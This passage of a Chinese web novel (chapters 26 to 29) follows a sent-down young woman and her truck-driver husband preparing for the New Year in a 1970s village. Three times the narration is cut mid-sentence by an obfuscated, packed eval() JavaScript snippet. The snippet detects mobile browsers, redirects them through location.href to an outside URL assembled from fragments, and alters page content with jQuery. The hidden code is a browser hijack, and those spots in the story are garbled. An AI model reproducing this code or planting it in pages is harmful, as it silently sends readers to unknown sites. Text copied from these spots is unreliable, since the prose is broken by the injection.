应晚真点点头,“我这几天去看看哪里的红枣好一点,对了,之前买的布给你做条裤子吧,也新年了,新衣服什么的总要有一样。” 周久迟心里美滋滋的,“媳妇,那你呢,你想要什么我给你买。” 应晚真还真没什么想要的,“不用了,我有衣服穿,而且我哥给我寄了大衣,冬天就够了。” 周久迟不依,想着到时候自己去给媳妇挑。 “明天我出车去市里,村里也捞鱼,大后天就是小年,队里杀年猪,到时候队里肯定会一起吃个饭,你到时候记得去吃。” “队里的饭是中午还是晚上?” “中午,杀完猪做杀猪菜!” “那你岂不是吃不上了?” “我不要紧,晚上我会回来一起吃饭的!” …… 第二天,应晚真还在床上就听见队里吆喝着捞鱼的声音,周久迟刚起床,也看见这动静了,看见正在揉眼睛的应晚真说,“估计现在就去了,你想去八九点过去看热闹就行了,现在他们还在放水呢!” “现在放水?” “半夜就放着了,现在可多人去看看,再把口子开大一点。” 说着,周久迟有点忍不住偷偷在自己媳妇脸上亲了一下。 26. 第 26 章 这一亲马上把应晚真从昏睡中弄得清醒起来,她左右看看,发现自己在屋里,里面就他们两个,这才放下心来,不过还是娇嗔着,“你干嘛啊,大清早的。” 周久迟看着撅起嘴巴的应晚真,“我媳妇,漂亮。” 应晚真顿时红了脸,抬起眸子毫无威慑力地瞪了一眼周久迟然后把自己裹紧,不再去看周久迟。 周久迟看着媳妇害羞的模样心情大好,“媳妇,我先出去了,你再睡会儿,我等会儿就直接去出车了。” 应晚真捂着被子闷闷地嗯了一声,周久迟看了看嘴角勾着笑出门了。 虽然周久迟说了他等会儿直接去出车,但是等他出车的时候他还是进屋跟应晚真又说了几句话。 这时候应晚真已经从被窝里露出了自己的脸,她早就猜到了周久迟肯定会再进来的,因为这几次他都是这样,说着直接走,但每次走之前总是会再进来闹一下她。 “你过来一点,我跟你说个事。” 周久迟一直都听媳妇话,反正也不在意这一时半会的,进屋随手关了门,凑近自己媳妇,“怎么了,媳妇。” 应晚真拿开挡住自己眼睛的手,弯唇看向周久迟,就在周久迟不明所以的时候,应晚真突然起身,在周久迟脸上偷偷亲了一下,这一下转瞬即逝,快得周久迟都没反应过来就看见应晚真又躺好了,裹好了被子。 周久迟脸上的笑怎么也抑不住,他整个人虚虚趴在应晚真身上,往她额头重重亲了一把。 “别闹了,不是还要出车嘛,赶紧出车吧!” 这会儿的周久迟已经有点不想去了,只想和自己媳妇再温存温存,但他也知道自己必须工作,只有工作了才有钱更好的养自己媳妇,不过现在他还想再亲一下自己的媳妇。 “好了,你快去吧,不然你现在又在屋里,别人肯定知道了,有什么事等你出车回来再说!” 周久迟一听,眼睛顿时一亮,“行,那你等我回来。” 应晚真有点被周久迟眼里的热情给烫到了,等周久迟带上门离开的时候,她才后知后觉,难道她昨晚还没有喂饱这男人嘛? 想到这,应晚真脸上也不免爬上了一抹红色。 * 等再躺了会儿,应晚真才起床,现在也没什么活,起早也没什么事,不过呢,就算没什么事,还是会有人盯着应晚真。 比如孙盼娣。 “果然是娇小姐,天天睡到太阳晒屁股了才起来,这不等着别人把饭做好呗。” 现在院子里就应晚真和孙盼娣两个人,应晚真现在心情好,所以没有和她掐起来,“二嫂,你是不是喜欢我啊?看,无论我干什么你都知道,这不就是在意我吗?” 孙盼娣被应晚真这话给恶心得半宿说不出话。 应晚真也没搭理她,洗漱完就出门看捞鱼去了。 孙盼娣后知后觉脸也被气得通红,“真是不要脸,难怪老三非要娶她,真是个狐狸精!” 不过说是这么说,孙盼娣心里倒是有了点点异样,原来狐狸精都是这么勾人的啊! 应晚真才不管孙盼娣心里在想些什么,她兜里放了两颗糖,拆开就放在嘴里当做早饭了,她一路往鱼塘那边走去,半道上还看到了周大娘,便随着周大娘一起去了。 村子的鱼塘在三里外,走起来也需要一段时间,沿着大路走,这大路就是村子里的路,不是外头可以放大货车进来的路,最多走走牛车什么的。 等走了两里路,这路就沿着一座山蜿蜒了。 “老三媳妇,你是第一次走这边吧!” “是啊,这条路是第一次走,以前也没来过这里。” “以后多来几次就知道了。” 应晚真前世就是学建筑的,走实地考察的时候并不少,现在看到这个山,总觉得有点风险,这么想着她也问出来了,“咱这路什么时候开的啊?是挖了这山?” 周大娘只以为应晚真是好奇,“以前啊,咱们这不好开路,这不是要运粮食嘛,靠田埂里走那可太慢了,所以就修了这条路,不过那都是我年轻时候的事了……” 应晚真点点头又多看了几眼这个山。 这条路还有边上的田都在告诉应晚真这里的水源丰富,虽然这里的山表面上看是岩石的样子,但刚刚她近距离看过了,这岩石经过这么多年的水源浸润,早就有点腐化了,坍塌可能要不远了。 因为心里藏着事,应晚真倒是没有来时那么有兴致。 等到了鱼塘,这才热闹了起来,大家伙都在,跟分粮那天也差不多,毕竟是鱼,也是一种肉了。 今年的鱼长得也好,条条鱼都八九斤那么大,最大的还有十五斤的,每个人看见渔网捞上来这样鲜活乱蹦的鱼,个个都眉开眼笑。 周大哥周久红也在帮忙捞鱼,大嫂马芳在谢红英身边帮忙。 应晚真看见跟周大娘打了声招呼也过去帮忙。 谢红英笑眯眯的,“这么老远也来了!没事,现在也不忙,看着就行。” 应晚真看两人已经把草准备好了,就也站着看。 “老三已经出车了?”谢红英没事了就来找老三媳妇搭话。 “嗯,一早就过去了,说是小年那天能赶回来吃晚饭。” “那也好,毕竟是小年,能赶回来就最好。等分好鱼,今天吃一条,再养两条,咱们留着过年的时候做鱼冻,其他的今天杀了做腊鱼,这样能存得久的,来年开春没啥吃的也能有点肉吃一吃。” “好,等会儿做腊鱼的时候我也去。”应晚真应道。 至于马芳,做这些她肯定在的,而且现在婆婆又不是跟她说话她也就没说。 “成,到时候喊你,你吃辣老三也吃,到时候弄两条辣的。” “娘真疼我们,”应晚真笑着说。 谢红英听得心里高兴,但是也顾忌自己的大儿媳在,还是说,“你们几个我哪个不疼的,其他人这不是不怎么吃辣嘛!” 不过应晚真心里还存着那山的事,她知道自己的身份不太好,所以不能贸然提出,但是如果自己知道却又不说,要最后真的出事了,那她心里也难安。 应晚真就一直等着这个机会。 可等到大家都分完鱼了,应晚真也没找到合适的机会。 就在应晚真想着要不要等周久迟回来跟周久迟说的时候,村长,也就是大伯周家良突然说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473382|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们这里也要清一清,看这不知道有多少石块,不清明年怎么养鱼。” “那也不着急这会儿,明年过完年都还来得及。”大伯母叱到。 应晚真适时开口,“咱们这地方水可真多啊,看这山,到处都有水,那岩石已经潮得一碰就掉一块了。” 本来周家良只是这么说说,可一听到应晚真的话,他倒是皱起了眉,但是这会儿已经没多少人了,周家良也没继续说什么。 而这时候谢母也在催促该回去了,应晚真也就没在逗留。 但应晚真知道这件事已经被周家良记在心里了。 她还刻意注意了一下,原本也要一起回来的周家良留在了最后面,并且过了很久才追上来,这下应晚真也算是放了一点心。 周家良追上来的时候也注意到应晚真注意自己的神情了,但他没有多话。 * 到家之后,谢红英就吆喝着做腊鱼了。 先是留四条养着,其中两条是过年家里自己吃的,另外两条是留着给自己的大儿媳二儿媳回门的,至于应晚真,谢红英还真不知道,但是也不能厚此薄彼,“老三媳妇,你爹娘那边过年要准备些什么?多远呐?咱们算是亲家,你是第一年嫁进来理应礼数要做全,一般第一年总是要最重视的。” 这最后一句话算是堵其他两个儿媳的嘴,毕竟她们当初第一年嫁进来的时候也是礼物最丰盛的,果然这样说完就没人敢在这时候出头了。 应晚真想了想,“我父母那边一切都还好,不过总归是过得一般,我们也没什么好东西,尽个孝心就差不多了,而且那边冷又远的。” 谢红英琢磨着,“反正家里鱼多,这几天都做成腊鱼,到时候你寄两条回去,算是给亲家加个菜!以前老大家的老二家的第一年都是两斤斤猪肉一条鱼,再加一点花生啥的,你家那边远,不方便去,那就等老三回来买点猪肉,做成腊肉一起寄过去,你看看成不成。” 应晚真知道这是谢母能做到的最好了,也没觉得不好,“成,那等久迟回来。” 马芳倒是没什么意见,毕竟这也不多,和谢母说的当初她们那样,而且老三自己有工资寄点就寄点呗。 可孙盼娣就不这么想了,她想着老三这媳妇成分这么不好,还寄肉给人吃,真是败家,能嫁进来还不就是看中了家里的条件了。 这孙盼娣有点愤愤,不过她也没蠢到现在就开始胡咧咧。 做腊鱼还是比较简单的,先把鱼剖了,去了头,从背部破开,洗干净晾干水分。 晾干水分后就在鱼上抹上白酒,放在盆里腌。 再就是准备料了,把预先准备好的盐,花椒,八角,桂皮一起放锅里炒,炒到盐微黄就差不多了,等料放凉了,再把这些料用擀面杖擀成粉,就抹在腌好的鱼上。 “差不多腌个一天就可以了,到时候挂起来就可以了,过年时候就可以吃了。”谢母看着这一盆的鱼,心里也是高兴,“那些鱼头我也拿一半腌起来了,还有一半今天吃,正好晒谷场那边在磨豆腐,多换几块回来,今天咱们就吃鱼头炖豆腐。” 大家听到这个,就连孙盼娣也没在继续拉这个脸了,反而勤快着帮忙。 27. 第 27 章 第二天,村子里也没啥事,倒是已经开始称猪了,现在留下来的就是明天要分的猪,总共三头猪,个个养得非常好。 而且村子里也早早下了通知,等小年那天大家拿着板凳去晒谷场那边一起吃个杀猪菜,也算是庆祝今年的丰收。 应晚真趁着有时间去了一趟县城,她待在村子里太久了,好多外界的事都不清楚,这次出来她是打算去买份报纸,现在是74年,很多事也该慢慢准备起来了。 还有就是那五尺布,她不会针线,但是已经说了要给周久迟做条裤子,所以这次她带着布来找裁缝了。 这个小县城还是比较和平的,没有那么多批斗之类的事,再加上有了嫁到周家村这个身份,应晚真还是比较放心的。 等一切弄好,应晚真还去了一趟邮局,虽然给父母他们的东西还没有备好,但是打个电话还是可以的,给父母打可能不行,但是她可以给自己哥哥打啊!想必上次寄信之后大哥对自己也是着急。 这么想着,应晚真已经拨通了大哥部队的电话。 接话员听说是应慕白的妹妹,马上就去通知了。 等了差不多五分钟,对面就传来了声音。 “是晚真嘛?” 听到熟悉的声音,应晚真突然就觉得自己忍不住了,眼泪就晕在眼眶里,“是我,大哥!” 应慕白一下子就听出了自己妹妹的声音,“怎么了?妹,是发生什么事了嘛?你是不是在哭?” 应晚真知道自己再这样大哥一定会着急,马上擦了擦眼睛,“大哥,我没什么事,就是好久好久没听到你们的声音了,突然就觉得难受。” 应慕白心里还是不放心,“真的没事嘛?”想着,应慕白突然想起了一个人,“你上次给爸妈寄了两件冬衣,爸妈说你结婚了?” 应晚真点头,但是突然想起这是在电话里他看不见,于是说了声是。 “大哥,他是县里运输队的司机,也是我下乡村子里的人,人还是不错的,帮了我很多次,是个好人。” 应慕白听到这话却觉得心脏被什么攥紧了一样,当初家里出事的时候,他还在出任务,而且因为说自己家有资本嫌疑,那时候再给妹妹找去处显然不可能,只能被迫下了乡,等他出任务回来,家里的事已经尘埃落尽了。 而恰巧那时候自己妻子家也开始了,所以那段时间两家人的事,还有他自己在部队的生活都不算好过,现在好不容易好了一点,就突然听到妹妹结婚的消息,想想下乡知青会遭受的事,应慕白一个铁血男儿也不禁有点哽咽。 “是吗,他对你好吗?他家里怎么样?” 应晚真看自己哥哥问起这个,便也细细说来,“他是家里的老三,最小的儿子,以前也是当兵的,后来受伤退伍了,就在县城运输队当司机,家里人都挺好的,我大嫂也好相处,二嫂比较一般,不过人嘛,哪里都有矛盾。” 应慕白听着自己妹妹的话,尤其是最后这句故作老成的忍不住笑了,可笑了两下,嘴里又泛起苦涩,妹妹原本能够有更好的生活的。 “马上要过年了,大哥给你寄点吃的。” “大哥,不用了,嫂子快生了吧,到时候肯定有不少花销,而且嫂子家里也只有嫂子一个孩子那边肯定要你帮衬的,爸妈那边也需要你看着点,我这边我可以顾好自己的。” 应慕白看自己妹妹懂事了,顿时心里熨烫的同时又觉得难受,“你放心吧,给自己妹子一点东西你哥我还是给得起的。” 应晚真也没再矫情,“那行,随便给点就行了,你上次给我寄的大衣很合适,对了,大哥,你那边有二哥的消息嘛?怎么二哥那么久还没有消息。” 应慕白内心一滞,他也很担心自己的弟弟,但是他是参加了秘密任务,他能知道这个也是意外,其他的都不知道了,不过为了自己的妹妹不担心,“你放心吧,不用担心他,他忙着呢。” 应晚真知道是问不出什么来了,不过她知道自己的二哥是平安的就行了,就等后年二哥回来了。 “哥,我这边产的红枣特别好,我过段时间给嫂子寄点红枣,她要生了,得好好补补。” 应慕白知道自己妹子是觉得得礼尚往来,也就没有再拒绝,正好部队有事了,电话也不能太久,“妹啊,哥这里有事了,不能打电话了,这次咱先挂了,等下次再打?” “嗯,你忙吧,记得跟爸妈说一声我很好,让他们别担心。” “你也是,有什么事记得给大哥打电话,一定不能瞒着大哥。”挂完电话,应慕白心里的沉重总算少了点,不过对这个娶了自己妹妹的人他还是没什么好感,他琢磨着明年怎么也得找个时间去一趟,不然怎么都不能放心。 另一边,应慕白的妻子林意也在焦急等待,她和应慕白是青梅竹马自然也是认识应晚真的,两人也就差四岁。 现在是两家一起出事,她还好,最起码先出来做了医生,还嫁给了应慕白,可应晚真就没那么好运了,所以上次听应晚真在下乡结婚了,不仅应慕白一夜没睡好,她也是。 现在听到有电话,要不是她这几天就要生了,地上又有积雪,她也去了。 等着等着终于等到自己丈夫回来,便马上问了,“晚真咋样了,过得怎么样?” 应慕白哈出一口白雾,捂着搪瓷缸喝了一口,“听她说过得不错,她婆家还有大嫂都可以,不过二嫂不行,但是刚接电话的时候倒是哭了。” 林意一听哭了,顿时就生气了,“那肯定是那家人欺负她!” “你别气啊,别把自己气个好歹出来。” 林意一把甩开应慕白的手,“晚真是不是你妹妹啊,你都不担心她的吗?” 应慕白顿时觉得自己冤枉,“我可没有,我这担心着呢!不过她说没事,而且也嫁了,她还说他们那边的红枣好,到时候会寄点红枣给你吃,说是你快生了要补补。” “难为她这样还想着我。”林意摸摸肚子有些难过,也不知是为了什么。 “媳妇,等过完年,咱们孩子满了月,好带一点了,我看看我有没有假,我想去看看我妹妹。” 林意看着一脸害怕自己不同意的应慕白顿时心里火又起了,“我在你心里就是这样的嘛?晚真也是跟我从小玩到大的,她现在要是过得不好我跟你一样难受,到时候你有假了就去看她吧。” 应慕白顿时笑了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478523|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媳妇,你真好。” 说完,应慕白又想起年货的事,“我打算弄条羊腿给岳父岳母那边寄过去,” “那爸妈那边呢?” “上次晚真那边寄了个羊腿,不过估摸着也快吃完了,我看看能不能弄到两个,能弄到两个那就我爸妈那边也寄一个,弄不到那就寄点腊肉什么的,还有一些干香菇啥的,我给爸妈还有岳父岳母都寄一份,再弄点糖果什么的。” 林意点点头,“多亏了你,不然我爸妈那边要受苦了。” “说这些,岳父岳母也是我爸妈啊,而且还是岳父岳母一直与人为善,所以大家都不会弄什么腌臜手段,我爸妈那边也是。” 林意点点头,“看来还是得多做点好事,多给自己留点后路啊,多积德。” 应慕白搂着一脸认真的林意笑了。 * 另一边,应晚真打完电话之后特地去了附近的圩逛了逛,这里的圩都是附近的农民拿着自己的一些农产品来卖的,当然现在不能叫卖,只能说是换。 本来这些都是不被允许的,只是这是上面同意的。 当然这只限于现在过年阶段,除此之外还有革委会的在这里看着,一旦发现谁异常那肯定是会被抓起来的。 应晚真拎着自己的小布包过来的时候也被在看守的人多看了几眼,她只是和人对视了一眼就转开了视线。 毕竟是农民好不容易攒起来的东西,而且现在物资也不多,所以都是一些零碎的东西。 应晚真逛了好一会才看到竟然有卖蜂蜜茶。 “老伯,你这蜂蜜茶多久了?” 老伯的眼睛已经略显混沌了,他矮小的身子蹲在路边,那双浑浊的眼看了看应晚真,伸出两根手指,“两年了,这是野蜂蜜,还没有开封,而且这个茶还是高山炒茶,压实了的茶叶,小姑娘,你看看要不要?” 老伯身边还跟着一个衣服很多补丁的小孩,等应晚真看过去,这个小孩便怯生生的躲开了视线。 “你这一罐多少钱?” “一罐三块钱。”说完,老伯似乎怕应晚真觉得贵,连忙补充,“我这都是好的蜂蜜,连带着罐子一起,本来我都是做好了打算给家里小辈吃一吃的,但是现在家里困难,就来试试,看看能不能换点粮食。同志,你要是有粮食换也行?” 应晚真早就注意到了这祖孙俩的瘦弱,但是她也没因此直接买下,“不是刚秋收不久吗?你们应该也分了粮食吧。” 现在都是人六劳四,就算家里只有祖孙两个,但是总归有吃的,就算吃得不好吧,也不至于这样。 但是看老伯瞬间有点为难的神情,应晚真也没继续问,“你这边就两罐吗?” 老伯一听,顿时把自己的旧布包翻开来,“总共四瓶,两瓶两年的,还有一瓶一年半一瓶一年的。” “姑娘,你看看,要是不要那么久的,可以便宜点给你。” 应晚真想了想,“那11块钱,我四瓶都要了。” 老伯显然很高兴,看应晚真自己的布包装不下,还给应晚真拿绳子绑起来了。 再逛了逛,应晚真也没看见什么比较想要的东西了,便打道回府。 28. 第 28 章 这些蜂蜜茶她打算当做给自己爸妈还有大哥的年礼,毕竟不能真的只给一样,就算爸妈和大哥大嫂不嫌弃,应晚真自己也过意不去。 而且这个蜂蜜茶是很好的东西,泡水喝不仅有茶的香气,还有蜂蜜的甜,尤其是这些陈年的东西,最有滋味。 除了好喝,这茶还可以润肺止咳化痰,吃了身体也好。大嫂要生了,有点这些蜂蜜茶是最好的了。 等应晚真回到家,家里已经开饭了,今天吃了点昨天剩下的鱼杂,也算是一道荤腥。 但是大家昨天吃了那么多鱼头豆腐汤之后,鱼杂就未免有点一般了,好比孙盼娣的仨儿子,周诗贵、周诗财和周诗富,三个人就闹着要吃鱼头,说没有鱼头就要吃鱼,要不然就要吃肉。 谢红英和周家庸差点就要发飙,索性后来孙盼娣说明天小年,村里吃杀猪菜,三个人才停下来。 应晚真原本还挺期待明天的杀猪菜,可一听到孙盼娣劝孩子的话,又想起几个孩子鼻涕横泗的模样,突然就不是那么想了。 而且周久迟明天中午也赶不回来吃饭,突然她就没什么胃口了。 当然,这些想法她也不会表现出来。 应晚真吃完饭就回屋拿出了自己的日记本,那里面也记着自己的账,现在的她没有收入,手里的钱除了周久迟给的就只有自己下乡时带下来的,周久迟的钱一般也不动,自己的钱这些日子也花去了一点,现在也将将剩下一百块了。 这些钱在别人手里可能还觉得多,但在应晚真手里就觉得少了,现在因着她身份的问题所以肯定不能做些什么大动作的。 应晚真坐在桌前思考了很久,但是根据自己老本行,建筑设计,现在肯定也是挣不了钱的,投机倒把?那也是不行的,饿死胆小的撑死胆大的,她就是胆小的,别说她父母现在下放,就算没有,那她也没有这个本事。 至于找个工作,虽然她高中毕业了,前世还是教授了,可是现在不是啊,而且因为下乡的身份,父母的下放,她这政审也过不去,那肯定也找不到工作。 所以自己只能天天下地挣公分?靠周久迟的工资了? 好吧,这个结果应晚真一点也不意外,前世也是这样的。 只是突然自己变成了一个废物一般的人,应晚真自己心里有点不舒坦。 这不舒坦也就那么一会会,日子还得继续过下去,世事无常,十年河东十年河西嘛。应晚真就这么安慰着自己,渐渐地就睡着了。 第二天一大早,应晚真就听到外面热闹的声音,仔细竖起耳朵一听,原来已经在杀猪了。 应晚真不想看那血腥的场面,但耐不住谢母在门口喊,“老三家的,你出来的时候把厨房的盆一起端到晒谷场,那是咱们家的碗筷,中午就在晒谷场吃杀猪菜。” “好!我等会儿就端过去。”等院子里的声音逐渐远去,应晚真才出房门,她知道孙盼娣肯定要看自己不顺眼了,不过还是自己过得舒坦比较好,而且她也不想和他们对上。 因为时间还早,今天又是小年,还是个大晴天,应晚真就先把自己屋内的床单啊窗帘啥的该洗的给洗了,洗完之后才到晒谷场去。 等应晚真到的时候,杀猪已经进行的如火如荼了。 应晚真找到谢红英,就一起到一边站着了。 今天除了全村一起吃个杀猪菜,还有一件事很重要,那就是分猪肉了。 一年到头了,大家肚子里都没什么油水,这次大家看着这三头猪,一个个的都眼冒金光。 应晚真躲在一边跟着各个婶子们一起洗菜,都是村子里自家种的白菜啥的,还有之前没分完的土豆还有蒜苗啥的。 一个三十多岁的婶子洗着菜突然推了推自己身边的人,“你看,这周老三媳妇干活还是挺认真的啊,你看看这菜一片片掰开洗得多干净呐!” 她虽然放低了声音跟自己的同伴说,但还是被应晚真听到了这话。应晚真顺着声音望过去。 就看见婶子边上的一个十三四岁的女孩子突然红了脸。 “怎么了?” 婶子和同伴也顺着应晚真的视线看过去,“这不是周大娘小闺女吗?这么快回来了?你姐月子做的怎么样?” “挺好的,孩子也不错。现在快过年了我就回来了。” 两位婶子应了声之后,就继续手里的活了。 应晚真见女孩子一只红着脸低着头也没继续说话,而是继续洗菜。 等洗完把菜端到灶边的时候,应晚真没发现刚刚那个女孩子眼带着惊艳一直追随着应晚真的身影不愿意离开。 * 周家村的杀猪菜还是比较丰盛的,第一道就是猪血白肉酸菜炖粉条,每桌都是满满一大盆,粉条比较多菜多,肉也是能看见的盖在上面,一看就是管饱。 第二道菜就是红烧大碗菜,一碗满满当当的红烧肉,冒着热乎乎的气,一吸鼻子,那香味猛地往自己鼻子钻,简直让人口齿生津。 第三道就不是大肉了,是炖豆腐,这个豆腐放了满满的红油辣椒,再加上一把蒜苗,看起来就红红火火的。 第四道是土豆焖肉,这道菜当然是土豆多了,不过满满一大盆还是让每个人笑开了花。 还有一道白菜瘦肉汤,也是满满一大盆。 这就是村子里的杀猪菜了,应晚真坐的这桌是和家里几个妯娌一起的,因为都是一家子,而且小孩都在小孩桌,所以这里反倒没有什么不规矩的事,孙盼娣也是会看来眼色的,虽然一上一个菜就眼睛盯着,筷子也直接伸过去,但最起码没有闹得很难看。 应晚真也把每道菜都尝了尝,每道菜都是不错的滋味,不过就是有点可惜周久迟不在。 * 吃完饭,应晚真也没久待。 今天是小年,腊月二十四,需要除尘扫房子。 因为今天杀年猪,所以大家都很兴奋,现在吃完了杀猪菜,那么回到家除了做小年夜的饭,还要打扫卫生。 男人们就去担水扫房顶,女人们擦洗家里的各式家具,把家里那些高处的灰尘全都掸下来,谢红英则是打扫最重要的厨房。 今天做完晚饭还要祭拜灶王爷,据说今天是灶王爷要回天上的日子,所以要好好祭拜灶王爷,让灶王爷给家里每个人祈福,当然最重要的是让家里来年一整年都不再挨饿。 虽然现在破四旧,但是这些习俗在周家村还是继续延续下来了,大家也不觉得这样过年有什么错。 应晚真干完堂屋和院子里的活后,问了谢母,她说已经没什么事了,等到时间做晚饭就行。 所以她便回了自己屋,把床单什么的给换回去,新铺好的床单一股子皂荚和太阳的气味,摸起来也柔软了不少,应晚真忍不住埋进被单里,要是可以她真想直接窝进去躺着,但是……她还有事要做。 等房间都收拾好后,家里一直剁吧剁吧的声音消失了,随之传来的就是谢母让包饺子的声音了。 应晚真并不是一个喜欢干活的人但是周久迟喜欢吃饺子啊。 今天的饺子是猪肉白菜馅的,家里的饺子一般都是这个馅。 饺子也就准备了百来个,今晚还有其他主食。 做完这些,应晚真打算伸伸胳膊腿什么的。 刚想出门随便走走就看见了推门进来的周久迟。 “回来了啊!” 周久迟一进来就看见自己媳妇,而且自己媳妇对自己笑得那么好看,那白皙的脸庞,柔和的眉眼,红润的嘴唇,全都让周久迟有点血气上涌。 他三步做两步走到应晚真面前,“刚回来,还买了些东西,怎么样,这几天过得怎么样?有没有人欺负你?” 周久迟说着拎着手里的东西拉着应晚真进房。 谢红英本来听到儿子的声音也是出来接一下的,结果就看见自己儿子那不值钱的模样,顿时故意哼了声,“怎么的,你娘还会欺负你媳妇不成?你回来就问有没有人欺负你媳妇?” 周久迟脚步一愣,见谢红英脸上带着笑便也知道自己娘在跟自己开玩笑。 “娘,你说什么话,我不就随口一说嘛?再说了自己媳妇我不得上点心?” 谢红英看两人感情好自然也是高兴了,“行行行,别往我跟前凑了,该干嘛干嘛去。” 周久迟刚想走就看见孙盼娣直勾勾的看着自己手里包裹的眼神,顿时眼神一冷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484967|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过他还是从包裹里翻开了三个水果罐头还有一袋子苹果给谢母,“娘,这些苹果等家里祭拜灶王爷的时候放过去,水果罐头也放过去,后面过年的时候吃。这其他的是我给我岳父岳母买的年礼,我第一次进门,得多备点,这都是我自己攒的钱。” 谢红英知道自己儿子的意思,也看到了虎视眈眈的孙盼娣,“娘知道,你对你媳妇上心娘明白,你愿意多添点什么就添,再说了你娶媳妇的时候又没给聘礼,多给点是应该的,而且还是你挣的钱,你自己有本事,谁也说不了。” 这后面几句话当然是说给孙盼娣听的。 孙盼娣也不是什么特别蠢的人,她现在当然也不会闹,反正只要老三拿出了点东西来她就高兴,而且还有那什么苹果跟水果罐头,那些东西她听都没听说过,但老三可说了,这是过年时候吃的,据她对家里的了解,自己怎么也能分到一块。 应晚真也不在意这些,周久迟给家里买点东西是应该的,只是她不喜欢被别人逼着拿这样的感觉。 “媳妇,我这次带了不少东西回来,你看看怎么寄给爸妈。” 应晚真也没矫情,打开包裹看起来,首先是两只腊鸭,看起来就很美味,还有带鱼干墨鱼干,两包海带,除此之外还有两瓶酒。 “这么多,全是给我爸妈的?”不怪应晚真惊讶,这些东西在现在这时候确实不少了,而且肯定也花了不少钱。 “不算多,本来第一次不应该全是这些干货的,但是活鸡活鸭也寄不到那里去……” 应晚真看到周久迟略显遗憾的表情,“等以后我爸妈回来,你再好好尽孝。” “那肯定的!”说完,周久迟心底有点怪怪的,等岳父岳母回来?现在这年头,下放了,什么时候才能回来呢,可看到自己媳妇期待的模样,他还是没有说出来,但这事他还是记在了心上。 “你现在就先有个样子,我爸妈那关你还没过呢,我可跟你讲,我爸妈那关可不好过。” 周久迟还想再听听,听听过关的办法,可惜应晚真不说了。 “腊鸭和海带都分成两份,一份寄给我大哥连着我前段时间买的红枣跟一瓶蜂蜜茶,你还别说,之前说我们这里的地不好种红枣我还半信半疑,但是我买了咱后头村的发现确实是这样,这是怎么回事呢,离得也不远,咋他们的红枣就比我们好?” “这好像是种植种的不一样,还有就是水,虽然两个村子不远,但是两个村子用的水源是不一样的。”周久迟回忆着,手里也跟着应晚真一起整理东西,“那你那包寄给大哥,这包就给爸妈?” 应晚真过去看了下周久迟装的,又放进一瓶蜂蜜茶,“这样就行了。” 刚说完,应晚真也拿出搪瓷缸给周久迟泡了一杯,“你刚回来就跟我忙活,连口水都没喝,正好我买的蜂蜜茶在,你尝尝好不好喝?” 周久迟现在老是被应晚真不经意的一个笑容给吸引到,他也说不清是什么,他从看见应晚真的第一眼就知道这人长得好看,唇红齿白,不笑的时候冷冷的,像天山雪莲,笑得时候就像天山雪莲被太阳光照射,整个人都在阳光下,花叶也津了几颗水珠,晶莹剔透,婀娜多姿。 “嗯?”等看到应晚真不解的眼神,周久迟才把搪瓷缸接下,为了掩饰自己的失神,匆匆喝了下几口,一喝,周久迟只觉得全身心舒畅,“甜,还有茶叶的味,也不腻,温温的,很好喝。” “嗯,这个蜂蜜茶可以止咳润肺,喝了对身体也好,不过这个要用温水喝,我总共买了四瓶,两瓶寄给我爸妈跟我大哥,一瓶咱们留着,还有一瓶我给了娘,让她有空就泡来吃一吃。” 周久迟心里不知道多熨帖,媳妇是为了自己才对自己家里人这么好的,就像自己一样,本来他不应该奢求的,但是就是让他得到了。 这么一想,他只觉得自己美得不行,上天总是眷顾他。不过还是得好好在岳父岳母那里处好关系,让他们真的放心把媳妇嫁给自己,也不能让媳妇受半点委屈。 这么想着,周久迟又想起,这次出门挣的钱了,这次买东西的钱全是他外快得来的,现在过年挣得多,不过以后也是有得挣的,只要小心就好了。 29. 第 29 章 两人没在房里待多久,就闻到了从厨房飘来的香气。 今天饺子馅里的猪肉就是今天杀的年猪,新鲜得很。 而且今天的菜除了饺子还用肥肉熬了猪油,剩下一盘油渣,加点白糖或者盐都很香,还有鱼头。 “我后天还要再出车一趟,大后天就能回来,我带晚真一起去。” 应晚真也才知道,她看向周久迟眼带询问。 “就在咱们市里,这次很快,运点东西回来就成。” 还没等家里其他人发问,应晚真就提出了自己的疑惑,“带我?但现在临近过年,要及时把货运回来吧。” 谢红英也是这么想的,她也把视线转向了周久迟。 “这次主要确实是运货,不过我们这次定回来的时间是第二天,因为现在临近过年,大家都等着货过年呢,那边就加了人手,当天去,晚上就把货装好,第二天就能回。” “既然这样,那会不会不安全?逢年过节的,队里可以让人一起去嘛?”谢母继续问。 